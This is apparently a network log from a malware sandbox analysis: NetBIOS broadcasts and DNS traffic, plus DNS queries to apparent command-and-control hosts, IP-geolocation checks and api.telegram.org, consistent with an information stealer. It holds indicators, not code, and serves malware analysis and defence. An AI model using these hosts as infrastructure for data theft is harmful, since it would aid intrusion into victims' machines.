Oct 29, 2024 13:08:17.727978945 CET	53	53506	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:18.161047935 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:19.948426008 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:19.948468924 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:20.707901001 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:21.473506927 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:23.245733976 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:23.245764017 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:23.610840082 CET	64547	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:23.699196100 CET	53	64547	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:23.989309072 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:24.754846096 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:26.321055889 CET	50175	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:26.350033998 CET	53	50175	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:26.536125898 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:27.301635981 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:28.067245960 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:31.573311090 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:31.573410034 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:32.317301035 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:32.686290979 CET	53	53579	162.159.36.2	192.168.2.5
Oct 29, 2024 13:08:33.082896948 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:33.348097086 CET	63753	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:33.356729031 CET	53	63753	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:34.848562956 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:34.848668098 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:35.598650932 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:35.652488947 CET	56280	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:35.738554955 CET	53	56280	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:36.364137888 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:38.176812887 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:38.176881075 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:38.926624060 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:39.692250013 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:41.458014965 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:42.223514080 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:42.989139080 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:46.004436016 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:46.004478931 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:46.739176989 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:47.339847088 CET	61027	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:47.428945065 CET	53	61027	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:47.504770041 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:49.270430088 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:49.270498991 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:50.020392895 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:50.785998106 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:52.551717043 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:52.551774979 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:53.317267895 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:54.082930088 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:55.864283085 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:56.629798889 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:56.747935057 CET	56909	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:56.835568905 CET	53	56909	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:57.379910946 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:00.222489119 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:00.222739935 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:00.958010912 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:01.707911015 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:03.473622084 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:03.473726034 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:04.223598003 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:04.989161968 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:06.159327984 CET	60837	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:09:06.496651888 CET	53	60837	1.1.1.1	192.168.2.5
Oct 29, 2024 13:09:06.739248991 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:06.739296913 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:07.489310026 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:08.254786015 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:10.020579100 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:10.786055088 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:11.536086082 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:13.157568932 CET	61190	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:09:13.165195942 CET	53	61190	1.1.1.1	192.168.2.5
Oct 29, 2024 13:09:14.415278912 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:14.415380001 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:15.161060095 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:15.926697016 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:17.677778959 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:17.677936077 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:18.442300081 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:19.192363024 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:19.316895008 CET	49194	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:09:19.405249119 CET	53	49194	1.1.1.1	192.168.2.5
Oct 29, 2024 13:09:20.958137035 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:20.958169937 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:21.723534107 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:22.473572016 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:24.239269018 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:24.989203930 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:25.421792030 CET	53846	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:09:25.509668112 CET	53	53846	1.1.1.1	192.168.2.5
Oct 29, 2024 13:09:25.739200115 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:28.657001972 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:28.657093048 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:29.395441055 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:30.161056042 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:31.047224045 CET	50596	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:09:31.136526108 CET	53	50596	1.1.1.1	192.168.2.5
Oct 29, 2024 13:09:31.926753998 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:31.926805019 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:32.692282915 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:33.442310095 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:35.219264984 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:35.220957041 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:35.960958004 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:36.188956022 CET	61375	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:09:36.277333975 CET	53	61375	1.1.1.1	192.168.2.5
Oct 29, 2024 13:09:36.723539114 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:38.489351988 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:39.254924059 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:40.004815102 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:41.555084944 CET	52471	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:09:41.643788099 CET	53	52471	1.1.1.1	192.168.2.5
Oct 29, 2024 13:09:43.691917896 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:43.691999912 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:44.426759958 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:45.192298889 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:46.958043098 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:46.958081961 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:47.249954939 CET	64690	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:09:47.525832891 CET	53	64690	1.1.1.1	192.168.2.5
Oct 29, 2024 13:09:47.708981037 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:48.457946062 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:50.228182077 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:50.228338003 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:50.973589897 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:51.739188910 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:53.643198013 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:53.710174084 CET	52296	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:09:53.799762011 CET	53	52296	1.1.1.1	192.168.2.5
Oct 29, 2024 13:09:54.379815102 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:55.145435095 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:58.151031971 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:58.151031971 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:58.911046028 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:09:59.189383984 CET	55413	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:09:59.197417021 CET	53	55413	1.1.1.1	192.168.2.5
Oct 29, 2024 13:09:59.661046982 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:01.411134958 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:01.411318064 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:02.163324118 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:02.926671028 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:04.406259060 CET	65221	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:10:04.494157076 CET	53	65221	1.1.1.1	192.168.2.5
Oct 29, 2024 13:10:04.692651987 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:04.692730904 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:05.442313910 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:06.211359978 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:07.977817059 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:08.739368916 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:09.489192963 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:11.314239025 CET	50117	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:10:11.403155088 CET	53	50117	1.1.1.1	192.168.2.5
Oct 29, 2024 13:10:12.490472078 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:12.490859032 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:13.254837990 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:14.023253918 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:15.801779032 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:15.801870108 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:16.551693916 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:16.691361904 CET	64779	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:10:16.699156046 CET	53	64779	1.1.1.1	192.168.2.5
Oct 29, 2024 13:10:17.317358017 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:19.083058119 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:19.083058119 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:19.832963943 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:20.598568916 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:22.345129013 CET	61380	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:10:22.364231110 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:22.437026978 CET	53	61380	1.1.1.1	192.168.2.5
Oct 29, 2024 13:10:23.114201069 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:23.864233971 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:27.519659996 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:27.519706964 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:28.127891064 CET	58859	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:10:28.217782021 CET	53	58859	1.1.1.1	192.168.2.5
Oct 29, 2024 13:10:28.271055937 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:29.036060095 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:30.817356110 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:30.817395926 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:31.582943916 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:32.333070040 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:33.526981115 CET	51076	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:10:33.534872055 CET	53	51076	1.1.1.1	192.168.2.5
Oct 29, 2024 13:10:34.099562883 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:34.099652052 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:34.864188910 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:35.629945040 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:37.488724947 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:38.239231110 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:38.904863119 CET	60122	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:10:38.989212036 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:38.996296883 CET	53	60122	1.1.1.1	192.168.2.5
Oct 29, 2024 13:10:42.063981056 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:42.064090014 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:42.817368031 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:43.567378998 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:44.604074001 CET	53409	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:10:44.612570047 CET	53	53409	1.1.1.1	192.168.2.5
Oct 29, 2024 13:10:45.354444027 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:45.354444027 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:46.098589897 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:46.864217043 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:48.630832911 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:48.630934954 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:49.379983902 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:50.129863024 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:50.163337946 CET	51224	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:10:50.250904083 CET	53	51224	1.1.1.1	192.168.2.5
Oct 29, 2024 13:10:51.896145105 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:52.663109064 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:53.426794052 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:55.687036037 CET	52049	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:10:55.695785046 CET	53	52049	1.1.1.1	192.168.2.5
Oct 29, 2024 13:10:56.404167891 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:56.404329062 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:57.161108971 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:57.913099051 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:59.691180944 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:10:59.691230059 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:00.426723003 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:00.962342024 CET	58835	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:11:01.176733971 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:01.213273048 CET	53	58835	1.1.1.1	192.168.2.5
Oct 29, 2024 13:11:03.041879892 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:03.042009115 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:03.801739931 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:04.567378044 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:06.755567074 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:07.202555895 CET	60861	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:11:07.212618113 CET	53	60861	1.1.1.1	192.168.2.5
Oct 29, 2024 13:11:07.520466089 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:08.270472050 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:11.051297903 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:11.053113937 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:11.801728964 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:12.551806927 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:12.641931057 CET	64659	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:11:12.731012106 CET	53	64659	1.1.1.1	192.168.2.5
Oct 29, 2024 13:11:14.333139896 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:14.333219051 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:15.082979918 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:15.832979918 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:17.598651886 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:17.598745108 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:18.308389902 CET	56345	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:11:18.351135015 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:18.397253036 CET	53	56345	1.1.1.1	192.168.2.5
Oct 29, 2024 13:11:19.098601103 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:20.877481937 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:21.629857063 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:22.379991055 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:23.950151920 CET	49239	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:11:23.958632946 CET	53	49239	1.1.1.1	192.168.2.5
Oct 29, 2024 13:11:25.597912073 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:25.597986937 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:26.348752975 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:27.098613024 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:28.848700047 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:28.848700047 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:29.191298962 CET	49369	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:11:29.574548006 CET	53	49369	1.1.1.1	192.168.2.5
Oct 29, 2024 13:11:29.614244938 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:30.379868031 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:32.161262989 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:32.161263943 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:32.913152933 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:33.676876068 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:35.045613050 CET	61489	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:11:35.134089947 CET	53	61489	1.1.1.1	192.168.2.5
Oct 29, 2024 13:11:35.442720890 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:36.208034992 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:36.973793983 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:39.457432032 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:39.457479000 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:40.207978964 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:40.751581907 CET	51743	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:11:40.959162951 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:41.238910913 CET	53	51743	1.1.1.1	192.168.2.5
Oct 29, 2024 13:11:41.951184034 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:42.723716974 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:42.723790884 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:43.475172997 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:44.239238024 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:45.989319086 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:45.989411116 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:46.754872084 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:47.141391039 CET	53255	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:11:47.149904966 CET	53	53255	1.1.1.1	192.168.2.5
Oct 29, 2024 13:11:47.504995108 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:49.273191929 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:50.020498037 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:50.786104918 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:52.507941008 CET	51616	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:11:52.595525026 CET	53	51616	1.1.1.1	192.168.2.5
Oct 29, 2024 13:11:53.130806923 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:53.130884886 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:53.897207975 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:54.661111116 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:56.427107096 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:56.427206039 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:57.177189112 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:57.942389011 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:57.957179070 CET	63279	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:11:58.126013041 CET	53	63279	1.1.1.1	192.168.2.5
Oct 29, 2024 13:11:59.723761082 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:11:59.723761082 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:12:00.489238024 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:12:01.254868031 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:12:03.021019936 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:12:03.789211035 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:12:04.536098003 CET	137	137	192.168.2.5	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 13:07:59.120920897 CET	192.168.2.5	1.1.1.1	0x63cf	Standard query (0)	vccmd01.googlecode.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:07:59.551199913 CET	192.168.2.5	1.1.1.1	0x26a0	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:01.160613060 CET	192.168.2.5	1.1.1.1	0x808f	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:01.821377039 CET	192.168.2.5	1.1.1.1	0xe39	Standard query (0)	vccmd02.googlecode.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:04.657756090 CET	192.168.2.5	1.1.1.1	0xf414	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:04.682634115 CET	192.168.2.5	1.1.1.1	0xded5	Standard query (0)	vccmd03.googlecode.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:07.087328911 CET	192.168.2.5	1.1.1.1	0xc74f	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:08.455091953 CET	192.168.2.5	1.1.1.1	0xd131	Standard query (0)	vccmd01.zxq.net	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:09.700433969 CET	192.168.2.5	1.1.1.1	0xee91	Standard query (0)	zxq.net	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:17.716428041 CET	192.168.2.5	1.1.1.1	0xb3c9	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:23.610840082 CET	192.168.2.5	1.1.1.1	0xf43f	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:26.321055889 CET	192.168.2.5	1.1.1.1	0xc898	Standard query (0)	mail.tlakovec.si	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:33.348097086 CET	192.168.2.5	1.1.1.1	0x8ed	Standard query (0)	241.42.69.40.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 29, 2024 13:08:35.652488947 CET	192.168.2.5	1.1.1.1	0x895b	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:47.339847088 CET	192.168.2.5	1.1.1.1	0x3d52	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:56.747935057 CET	192.168.2.5	1.1.1.1	0x767e	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
